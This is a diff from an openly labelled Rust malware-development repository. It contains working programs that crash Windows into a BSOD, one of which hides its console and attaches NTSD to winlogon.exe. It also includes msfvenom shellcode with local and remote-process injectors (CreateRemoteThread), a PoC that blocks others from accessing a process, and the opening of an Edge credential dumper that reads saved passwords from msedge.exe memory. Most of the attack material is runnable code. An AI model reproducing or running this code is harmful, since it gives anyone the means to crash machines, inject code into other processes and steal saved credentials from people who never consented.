/*
Program to invoke BSOD setting up privileges and provoking NtRaiseHardError.
@5mukx
*/
use ntapi::ntexapi::NtRaiseHardError;
use std::ffi::CString;
use std::ptr;
use winapi::shared::ntstatus::STATUS_ASSERTION_FAILURE;
use winapi::shared::wtypesbase::ULONG;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::processthreadsapi::GetCurrentProcess;
use winapi::um::processthreadsapi::OpenProcessToken;
use winapi::um::securitybaseapi::AdjustTokenPrivileges;
use winapi::um::winbase::LookupPrivilegeValueA;
use winapi::um::winnt::{
LUID, SE_PRIVILEGE_ENABLED, SE_SHUTDOWN_NAME, TOKEN_ADJUST_PRIVILEGES, TOKEN_PRIVILEGES,
TOKEN_QUERY,
};
fn main() {
println!("Press any key to trigger a BSOD.");
let mut input = String::new();
std::io::stdin().read_line(&mut input).unwrap();
unsafe {
let mut token_handle: winapi::um::winnt::HANDLE = ptr::null_mut();
if OpenProcessToken(
GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&mut token_handle,
) == 0
{
println!("Failed to open process token.");
return;
}
let mut luid: LUID = LUID {
LowPart: 0,
HighPart: 0,
};
let shutdown_privilege = CString::new(SE_SHUTDOWN_NAME).unwrap();
if LookupPrivilegeValueA(ptr::null(), shutdown_privilege.as_ptr(), &mut luid) == 0 {
println!(
"Failed to lookup privilege value. Error: {}",
GetLastError()
);
return;
}
let tp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES {
PrivilegeCount: 1,
Privileges: [winapi::um::winnt::LUID_AND_ATTRIBUTES {
Luid: luid,
Attributes: SE_PRIVILEGE_ENABLED,
}],
};
AdjustTokenPrivileges(
token_handle,
0,
&tp as *const _ as *mut _,
0,
ptr::null_mut(),
ptr::null_mut(),
);
if GetLastError() != 0 {
println!(
"Failed to adjust token privileges. Error: {}",
GetLastError()
);
return;
}
// Raise hard error
let mut response: ULONG = 0;
let status = NtRaiseHardError(
STATUS_ASSERTION_FAILURE,
0,
0,
ptr::null_mut(),
6,
&mut response,
);
if status != 0 {
println!("Failed to raise hard error. Status: {}", status);
}
}
}
+14
View File
@@ -0,0 +1,14 @@
[package]
name = "ntsd_winlogon"
version = "0.1.0"
edition = "2021"
[dependencies]
winapi = { version = "0.3.9", features = [
"handleapi",
"winbase",
"winuser",
"winnt",
"wincon",
"tlhelp32",
] }
+41
View File
@@ -0,0 +1,41 @@
# NTSD Winlogon BSOD
A Rust program that demonstrates how to trigger a Blue Screen of Death (BSOD) by attaching NTSD debugger to the winlogon.exe process.
[Download](https://download.5mukx.site/#/home?url=https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/BSOD/ntsd_winlogon)
## Description
This program demonstrates a technique to trigger a BSOD by:
1. Finding the process ID of winlogon.exe
2. Attaching NTSD debugger to the process
3. Using command-line manipulation to trigger the crash
4. Hiding the console window during execution
## Features
- Process enumeration and identification
- Debugger attachment technique
- Silent execution with hidden console
- Process manipulation through NTSD
## Dependencies
- winapi
## Usage
1. Compile the program using Cargo
2. Run the executable
3. The program will automatically find winlogon.exe and attach NTSD
4. BSOD will be triggered through debugger manipulation
## Technical Details
The program uses several Windows API functions:
- CreateToolhelp32Snapshot
- Process32First/Process32Next
- GetConsoleWindow
- ShowWindow
## Warning
This program is for educational purposes only. Running it will cause a system crash and data loss. Use with caution and only in controlled environments.
## Author
@5mukx
+62
View File
@@ -0,0 +1,62 @@
/*
Trigger BSOD by triggeing NTSD on winlogon.exe
@5mukx
*/
use std::ffi::CString;
use std::process::Command;
use winapi::um::handleapi::{CloseHandle, INVALID_HANDLE_VALUE};
use winapi::um::tlhelp32::{
CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32,
};
use winapi::um::wincon::GetConsoleWindow;
use winapi::um::winnt::HANDLE;
use winapi::um::winuser::{ShowWindow, SW_HIDE};
fn find_pid(procname: &str) -> Option<u32> {
unsafe {
let h_snapshot: HANDLE =
CreateToolhelp32Snapshot(winapi::um::tlhelp32::TH32CS_SNAPPROCESS, 0);
if h_snapshot == INVALID_HANDLE_VALUE {
return None;
}
let mut pe: PROCESSENTRY32 = std::mem::zeroed();
pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;
let mut h_result = Process32First(h_snapshot, &mut pe);
while h_result != 0 {
let exe_file = CString::new(procname).unwrap();
let current_exe_file =
CString::new(pe.szExeFile.iter().map(|&c| c as u8).collect::<Vec<u8>>()).unwrap();
if exe_file.as_c_str() == current_exe_file.as_c_str() {
CloseHandle(h_snapshot);
return Some(pe.th32ProcessID);
}
h_result = Process32Next(h_snapshot, &mut pe);
}
CloseHandle(h_snapshot);
None
}
}
fn main() {
unsafe {
let h_wnd = GetConsoleWindow();
ShowWindow(h_wnd, SW_HIDE);
let pid = find_pid("winlogon.exe").or_else(|| find_pid("WINLOGON.EXE"));
if let Some(pid) = pid {
let command = format!("cmd /c start /min ntsd -c q -p {} 1>nul 2>nul", pid);
Command::new("cmd")
.args(&["/C", &command])
.status()
.expect("Failed to execute command");
} else {
println!("Process not found.");
}
}
}
+13
View File
@@ -0,0 +1,13 @@
[package]
name = "ntsetinformationprocess"
version = "0.1.0"
edition = "2021"
[dependencies]
ntapi = "0.4"
winapi = { version = "0.3.9", features = [
"errhandlingapi",
"processthreadsapi",
"securitybaseapi",
"winbase",
] }
+41
View File
@@ -0,0 +1,41 @@
# NtSetInformationProcess BSOD
A Rust program that demonstrates how to trigger a Blue Screen of Death (BSOD) by setting the current process as critical using NtSetInformationProcess.
[Download](https://download.5mukx.site/#/home?url=https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/BSOD/ntsetinformationprocess)
## Description
This program demonstrates a technique to trigger a BSOD by:
1. Obtaining process token with necessary privileges
2. Enabling debug privileges
3. Setting the current process as critical using NtSetInformationProcess
4. Closing the program triggers the BSOD
## Features
- Uses Windows API functions for process manipulation
- Demonstrates proper error handling
- Sets process as critical for system stability
## Dependencies
- winapi
- ntapi
## Usage
1. Compile the program using Cargo
2. Run the executable
3. The program will set itself as critical
4. Closing the program will trigger a BSOD
## Technical Details
The program uses several Windows API functions:
- OpenProcessToken
- LookupPrivilegeValueA
- AdjustTokenPrivileges
- NtSetInformationProcess
## Warning
This program is for educational purposes only. Running it will cause a system crash and data loss. Use with caution and only in controlled environments.
## Author
@5mukx
+88
View File
@@ -0,0 +1,88 @@
/*
Program to invoke BSOD through NtSetInformationProcess.
@5mukx
*/
use ntapi::ntpsapi::NtSetInformationProcess;
use std::ffi::CString;
use std::mem;
use std::ptr;
use winapi::ctypes::c_void;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::processthreadsapi::{GetCurrentProcess, OpenProcessToken};
use winapi::um::securitybaseapi::AdjustTokenPrivileges;
use winapi::um::winbase::LookupPrivilegeValueA;
use winapi::um::winnt::{
LUID, SE_DEBUG_NAME, SE_PRIVILEGE_ENABLED, TOKEN_ADJUST_PRIVILEGES, TOKEN_PRIVILEGES,
TOKEN_QUERY,
};
fn main() {
println!("Invoke BSOD");
unsafe {
let mut token_handle: winapi::um::winnt::HANDLE = ptr::null_mut();
if OpenProcessToken(
GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&mut token_handle,
) == 0
{
println!("Failed to open process token. Error: {}", GetLastError());
return;
}
let mut luid: LUID = LUID {
LowPart: 0,
HighPart: 0,
};
let debug_privilege = CString::new(SE_DEBUG_NAME).unwrap();
if LookupPrivilegeValueA(ptr::null(), debug_privilege.as_ptr(), &mut luid) == 0 {
println!(
"Failed to lookup privilege value. Error: {}",
GetLastError()
);
return;
}
let tp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES {
PrivilegeCount: 1,
Privileges: [winapi::um::winnt::LUID_AND_ATTRIBUTES {
Luid: luid,
Attributes: SE_PRIVILEGE_ENABLED,
}],
};
AdjustTokenPrivileges(
token_handle,
0,
&tp as *const _ as *mut _,
0,
ptr::null_mut(),
ptr::null_mut(),
);
let last_error = GetLastError();
if last_error != 0 {
println!("Failed to adjust token privileges. Error: {}", last_error);
return;
}
let current_process: *mut c_void = GetCurrentProcess();
let is_critical = 1;
let break_on_termination = 0x1D;
let status = NtSetInformationProcess(
current_process,
break_on_termination as u32,
&is_critical as *const _ as *mut _,
mem::size_of::<i32>() as u32,
);
if status != 0 {
println!("Failed to set process as critical. Status: {}", status);
} else {
println!("Process is now critical. Close this program to trigger a BSOD.");
}
}
}
+7
View File
@@ -0,0 +1,7 @@
[package]
name = "rtladjustprivilege"
version = "0.1.0"
edition = "2021"
[dependencies]
libc = "0.2.171"
+37
View File
@@ -0,0 +1,37 @@
# RtlAdjustPrivilege BSOD
A Rust program that demonstrates how to trigger a Blue Screen of Death (BSOD) using RtlAdjustPrivilege and NtRaiseHardError.
[Download](https://download.5mukx.site/#/home?url=https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/BSOD/rtladjustprivilege)
## Description
This program demonstrates a technique to trigger a BSOD by:
1. Using RtlAdjustPrivilege to enable system privileges
2. Raising a hard error using NtRaiseHardError
3. Direct interaction with ntdll.dll functions
## Features
- Direct system call manipulation
- Minimal code implementation
- Immediate BSOD trigger
## Dependencies
- libc
- winapi (for type definitions)
## Usage
1. Compile the program using Cargo
2. Run the executable
3. BSOD will be triggered immediately
## Technical Details
The program uses two main functions from ntdll.dll:
- RtlAdjustPrivilege
- NtRaiseHardError
## Warning
This program is for educational purposes only. Running it will cause a system crash and data loss. Use with caution and only in controlled environments.
## Author
@5mukx
+47
View File
@@ -0,0 +1,47 @@
/*
BSOD using RtlAdjustPrivilege and NtRaiseHardError.
@5mukx
*/
extern crate libc;
use std::ptr;
#[link(name = "ntdll")]
extern "system" {
fn RtlAdjustPrivilege(
Privilege: i32,
bEnablePrivilege: bool,
IsThreadPrivilege: bool,
PreviousValue: *mut bool,
) -> u32;
fn NtRaiseHardError(
ErrorStatus: u32,
NumberOfParameters: u32,
UnicodeStringParameterMask: u32,
Parameters: *const libc::c_void,
ValidResponseOption: u32,
Response: *mut u32,
) -> u32;
}
fn main(){
unsafe{
RtlAdjustPrivilege(
19,
true,
false,
&mut false,
);
NtRaiseHardError(
0xc0000022,
0,
0,
ptr::null(),
6,
&mut 0,
);
}
}
+25
View File
@@ -0,0 +1,25 @@
// Pointer concept to understand
fn main(){
let number = Arc::new(Mutex::new(0));
let my_number = Arc::clone(&number);
let my_number2 = Arc::clone(&number);
let thread1 = std::thread::spawn(move||{
for _ in 0..10{
*my_number.lock().unwrap() += 1;
}
});
let thread2 = std::thread::spawn(move ||{
for _ in 0..10{
*my_number2.lock().unwrap() += 1;
}
});
thread1.join().unwrap();
thread2.join().unwrap();
println!("Value is : {:?}",number);
println!("(+) Exiting...");
}
+115
View File
@@ -0,0 +1,115 @@
/*
Simple Payload Execution With Explanation.
Pov: Just wrote this program for teaching my friends about how shellcode works and executes when it comes to windows.
@5mukx
*/
// Importing winapi from crates
use std::ptr::{copy, null_mut};
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE};
use winapi::um::processthreadsapi::CreateThread;
use winapi::um::synchapi::WaitForSingleObject;
macro_rules! error {
($msg:expr, $($arg:expr), *) => {
println!("[-] {}", format!($msg, $($arg), *));
return;
}
}
macro_rules! okey {
($msg:expr) => {
println!("[+] {}", format!($msg));
}
}
fn main() {
// Generating sample calc shellcode using metasploit
// msfvenom -p windows/x64/exec CMD=calc.exe -f rust
let shellcode: [u8; 276] = [
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
];
/*
Why unsafe ? : some operations require bypassing these safety checks for low-level
memory manipulation, interacting with hardware, or calling foreign functions (e.g., WinAPI in this case).
*/
unsafe {
okey!("Allocating memory for the shellcode with read/write permissions");
let shellcode_addr = VirtualAlloc(
null_mut(), // address hint (nullptr means the system chooses the address)
shellcode.len(), // size of the memory block
MEM_COMMIT | MEM_RESERVE, // allocation type
PAGE_READWRITE, // memory protection
);
// checking if memory allocation was successful
if shellcode_addr.is_null() {
error!("VirtualAlloc failed {}", GetLastError());
}
println!("[+] Shellcode Addr: {:?}", shellcode_addr);
okey!("Copy the shellcode to the allocated memory");
copy(shellcode.as_ptr(), shellcode_addr as *mut u8, shellcode.len());
okey!("Change the memory protection to executable");
let mut old_protection = 0;
let virtualprotect = VirtualProtect(
shellcode_addr, // Starting Page Address
shellcode.len(), // Shellcode size
PAGE_EXECUTE_READWRITE, // Memory protection Option , Either Exec, Read, or Readwrite
&mut old_protection // Previous protection
);
if virtualprotect == 0 {
error!("VirtualProtect failed {}", GetLastError());
}
okey!("Creating thread to execute the shellcode");
let hthread = CreateThread(
null_mut(), // Security attributes
0, // Stack size (0 means default)
Some(std::mem::transmute(shellcode_addr)), // Thread start address
null_mut(), // Thread parameter
0, // Creation flags
null_mut(), // Thread ID
);
println!("Thread Address: {:?}", hthread);
if hthread.is_null() {
error!("[!] CreateThread failed {}", GetLastError());
}
// waiting for the created thread to finish execution
okey!("[+] Shellcode Executed!");
WaitForSingleObject(hthread, 0xFFFFFFFF); // 0xFFFFFFFF means to wait for INFINITE times ..!
}
}
+98
View File
@@ -0,0 +1,98 @@
/*
Malware Basics: Allocating at Windows Memory via Rust Functions and Windows API'S !
For more codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
By: @5mukx
*/
// MANUAL MEMORY ALLOCATION WITHOUT [winapi] aka WINDOWS API.
/*
use std::alloc::{alloc, dealloc, Layout};
use std::ptr;
use std::ffi::CString;
use std::ptr::copy_nonoverlapping;
fn main(){
let size = 100;
let layout = Layout::from_size_align(size, std::mem::align_of::<u8>()).unwrap();
// Allocate memory with global Allocator
let p_addr = unsafe { alloc(layout)};
unsafe{
if p_addr.is_null(){
// filling the allocated memory with 0 .
ptr::write_bytes(p_addr, 0, size);
// Using CString, An C-compatible, nul-terminated string with no nul bytes in the middle.
let string = CString::new("Maldev hits diffrerent").expect("Error while creating cstring");
// copy_nonoverlapping is semantically equivalent to C's memcpy but with the argument order swapped
copy_nonoverlapping(string.as_ptr(), p_addr as *mut i8, string.as_bytes().len());
let content = std::slice::from_raw_parts(p_addr, string.as_bytes().len());
println!("[+] Memory Content: {:?}",content);
println!("[+] Deallocating Mem contnet");
dealloc(p_addr, layout);
} else {
println!("[-] Failed to allocate memory");
}
}
}
*/
// MEMORY ALLOCATION USING [winapi]
/*
Make sure you have include these dependencies on Cargo.toml file !
[dependencies]
winapi = { version = "0.3", features = ["minwindef", "winbase"] }
*/
use winapi::um::heapapi::{GetProcessHeap, HeapAlloc, HeapFree};
use std::slice::from_raw_parts;
fn main(){
unsafe{
let heap = GetProcessHeap();
if heap.is_null(){
println!("[-] Failed to get process heap");
return
}
// https://learn.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapalloc
// 0x00000008 -> /. similar to winnt::HEAP_ZERO_MEMORY;
let p_address = HeapAlloc(heap, 0x00000008, 100);
if p_address.is_null(){
println!("[-] Failed to allocate memory on the heap");
return
}
println!("[+] Base Address of Allocated memory: {:#?}",p_address);
let string = "Maldev hits different".as_ptr() as *const u8;
std::ptr::copy_nonoverlapping(string , p_address as *mut u8, 100);
let content = from_raw_parts(p_address as *const u8, 100);
println!("[+] Memory content: {:?}", content);
HeapFree(heap, 0, p_address);
println!("[+] Freed Allocated memory !");
}
}
+8
View File
@@ -0,0 +1,8 @@
[package]
name = "BlockHandle"
version = "0.1.0"
edition = "2021"
authors = ["smukx", "smukx@5mukx.site"]
[dependencies]
winapi = { version = "0.3.9", features = ["winevt","processthreadsapi", "securitybaseapi", "sddl", "winnt","winerror", "winbase"] }
+58
View File
@@ -0,0 +1,58 @@
# BlockHandle
The idea is to modify the Security Descriptor of the current process to control who can interact with it. (e.g read its memory, terminate it, etc). It uses a Security Descriptor Definition Language (SDDL) string to define these permissions and applies them to the process using Windows api functions.
## PoC
![PoC_Image](./image.png)
## Features
1. Deny all access to "Everyone" (any user or process not explicitly allowed).
2. Allow full access to the SYSTEM account and the process owner.
3. This makes the process "protected" against unauthorized access. For example:
* ther users (even administrators) cannot easily terminate it, attach a debugger, or inspect its memory unless they escalate to SYSTEM or use the owners credentials.
* Tools like Task Manager might fail to kill the process if run by a non-owner/non-SYSTEM user.
## How it works !
```
D:P(D;OICI;GA;;;WD)(A;OICI;GA;;;SY)(A;OICI;GA;;;OW)
```
`D:` - Specifies the Discretionary Access Control List (DACL), which defines permissions for the process. <br>
`P` - Indicates the DACL is protected (cannot be modified by inheritable permissions from parent objects).
1. `(D;OICI;GA;;;WD)`:
* D: Deny access.
* OICI: Object Inherit and Container Inherit (applies to child objects if relevant).
* GA: Generic All (full access).
* WD: "World" (Everyone group).
* Meaning: Denies all access to the "Everyone" group (i.e., any user or process not explicitly allowed).
2. `(A;OICI;GA;;;SY)`:
* A: Allow access.
* OICI: Object Inherit and Container Inherit.
* GA: Generic All (full access).
* SY: SYSTEM account.
* Meaning: Grants full access to the SYSTEM account (a highly privileged account on Windows).
3. `(A;OICI;GA;;;OW)`:
* A: Allow access.
* OICI: Object Inherit and Container Inherit.
* GA: Generic All (full access).
* OW: Owner of the object (the user who created/launched the process).
* Meaning: Grants full access to the process owner (the user running the program).
## Credits and Resources
* https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language
* https://www.lewisroberts.com/2010/09/16/getting-started-with-sddl/
* https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-setkernelobjectsecurity
* https://github.com/mtth-bfft/winsddl
By [@5mukx](https://x.com/5mukx)
Binary file not shown.

After

Width:  |  Height:  |  Size: 59 KiB

+7
View File
@@ -0,0 +1,7 @@
[package]
name = "remote_inject"
version = "0.1.0"
edition = "2021"
[dependencies]
winapi = { version = "0.3.9", features = ["errhandlingapi", "handleapi", "processthreadsapi", "memoryapi"]}
+119
View File
@@ -0,0 +1,119 @@
/*
CreateRemoteThread Shellcode Injection : Exec Shellcode in Remote Process
For more codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
Author: @5mukx
*/
use std::ptr::null_mut;
use winapi::{shared::minwindef::LPVOID,
um::{
errhandlingapi::GetLastError,
handleapi::CloseHandle,
memoryapi::{VirtualAllocEx, WriteProcessMemory},
processthreadsapi::{CreateRemoteThread, OpenProcess},
winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE}
}
};
macro_rules! okey{
($msg:expr, $($arg:expr), *) => {
println!("\\____[+] {}", format!($msg, $($arg),*));
}
}
macro_rules! error{
($msg:expr, $($arg:expr), *) => {
println!("\\____[-] {}", format!($msg, $($arg), *));
println!("Exiting ...");
std::process::exit(0);
}
}
fn main(){
let buf: [u8; 328] = [
0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
];
unsafe{
let pid = std::env::args().nth(1).expect("Please provide the process ID as argument")
.parse::<u32>().expect("Invalid process ID");
let process_handle = OpenProcess(0x000F0000 | 0x00100000 | 0xFFFF, 0, pid);
if process_handle.is_null(){
error!("OpenProcess Error : {:?}",GetLastError());
}
okey!("OpenProcess: {:?}",process_handle);
let remote_buffer = VirtualAllocEx(
process_handle,
null_mut(),
buf.len(),
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE,
);
if remote_buffer.is_null(){
error!("VirtualAlloc Error {:?}",GetLastError());
}
okey!("VirtualAlloc {:?}",remote_buffer);
let write = WriteProcessMemory(
process_handle,
remote_buffer,
buf.as_ptr() as LPVOID,
buf.len(),
null_mut(),
);
if write == 0{
error!("Error writing process to memory. STATUS: {}", write);
}
let remote_thread = CreateRemoteThread(
process_handle,
null_mut(),
0,
std::mem::transmute(remote_buffer),
null_mut(),
0,
null_mut(),
);
if remote_thread.is_null(){
error!("Unable to create Remote thread. Status: {:?}", remote_thread);
}
CloseHandle(process_handle);
}
}
+80
View File
@@ -0,0 +1,80 @@
/*
BlockHandle PoC
Author: @5mukx
*/
use std::{ffi::OsStr, os::windows::ffi::OsStrExt, ptr::null_mut};
use winapi::{
shared::sddl::ConvertStringSecurityDescriptorToSecurityDescriptorW,
um::{processthreadsapi::{GetCurrentProcess, GetCurrentProcessId},
securitybaseapi::SetKernelObjectSecurity, winbase::LocalFree,
winnt::{DACL_SECURITY_INFORMATION, PSECURITY_DESCRIPTOR}
}};
fn set_process_security_descriptor(){
let sddl: Vec<u16> = OsStr::new(
"D:P\
(D;OICI;GA;;;WD)\
(A;OICI;GA;;;SY)\
(A;OICI;GA;;;OW)"
).encode_wide().chain(Some(0)).collect();
let mut security_descriptor: PSECURITY_DESCRIPTOR = null_mut();
let result = unsafe{
ConvertStringSecurityDescriptorToSecurityDescriptorW(
sddl.as_ptr(),
1,
&mut security_descriptor,
null_mut(),
)
};
if result == 0 {
eprintln!("Failed to convert SDDL to security descriptor. Error: {}",
std::io::Error::last_os_error());
return;
}
let process_handle = unsafe {
GetCurrentProcess()
};
let set_result = unsafe {
SetKernelObjectSecurity(
process_handle,
DACL_SECURITY_INFORMATION,
security_descriptor,
)
};
if set_result == 0 {
eprintln!("Failed to set security descriptor. Error: {}",
std::io::Error::last_os_error());
}
unsafe {
LocalFree(security_descriptor as *mut _);
}
}
fn main() {
let pid = unsafe {
GetCurrentProcessId()
};
println!("[*] PID: {}", pid);
set_process_security_descriptor();
println!("[*] Process Protected. Press Enter to Exit PoC");
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.expect("Failed to read input");
}
@@ -0,0 +1,24 @@
[package]
name = "EdgePasswordDumper"
version = "0.1.0"
edition = "2024"
authors = ["5mukx", "smukx@5mukx.site"]
[dependencies]
regex = "1.11"
[dependencies.windows-sys]
version = "0.61.2"
features = [
"Win32_Foundation",
"Win32_System_Threading",
"Win32_System_Memory",
"Win32_System_Diagnostics_Debug",
"Win32_System_Diagnostics_ToolHelp",
"Win32_System_Console",
"Win32_Security",
]
[profile.release]
opt-level = 3
lto = true
@@ -0,0 +1,22 @@
# EdgePasswordDumper
TL;DR: An Rust PoC showing that Microsoft Edge keeps saved credentials in cleartext inside the parent `msedge.exe` process memory. When a user saves credentials via Edge's password manager, the username, password, and origin URL remain readable in the root Edge processs heap, so anyone with access to that process memory can recover them without decryption. On a shared host an administrator can dump credentials for every signed in and disconnected Edge user.
<p align="center">
<img src="image.png" alt="EdgePasswordDumper">
</p>
Microsoft has marked this behavior as by design.
## Build & Run
```sh
cargo build --release
```
Execute the binary in admin shell
## Credits & References
- Original C# PoC: [L1v1ng0ffTh3L4N/Proof-of-Concepts](https://github.com/L1v1ng0ffTh3L4N/Proof-of-Concepts/tree/main)
Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

@@ -0,0 +1,381 @@
use std::collections::HashSet;
use std::io::Write;
use std::mem::{size_of, zeroed};
use std::ptr::{null, null_mut};
use regex::Regex;
use windows_sys::Win32::Foundation::{CloseHandle, HANDLE, INVALID_HANDLE_VALUE};
use windows_sys::Win32::Security::{
AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation,
LookupAccountSidW, PSID, SID_IDENTIFIER_AUTHORITY, SID_NAME_USE, TOKEN_QUERY,
TOKEN_USER, TokenUser,
};
use windows_sys::Win32::System::Console::{
ENABLE_VIRTUAL_TERMINAL_PROCESSING, GetConsoleMode, GetStdHandle, STD_OUTPUT_HANDLE,
SetConsoleMode,
};
use windows_sys::Win32::System::Diagnostics::Debug::ReadProcessMemory;
use windows_sys::Win32::System::Diagnostics::ToolHelp::{
CreateToolhelp32Snapshot, PROCESSENTRY32W, Process32FirstW, Process32NextW,
TH32CS_SNAPPROCESS,
};
use windows_sys::Win32::System::Memory::{
MEM_COMMIT, MEMORY_BASIC_INFORMATION, PAGE_READWRITE, VirtualQueryEx,
};
use windows_sys::Win32::System::Threading::{
OpenProcess, OpenProcessToken, PROCESS_QUERY_INFORMATION,
PROCESS_QUERY_LIMITED_INFORMATION, PROCESS_VM_READ,
};
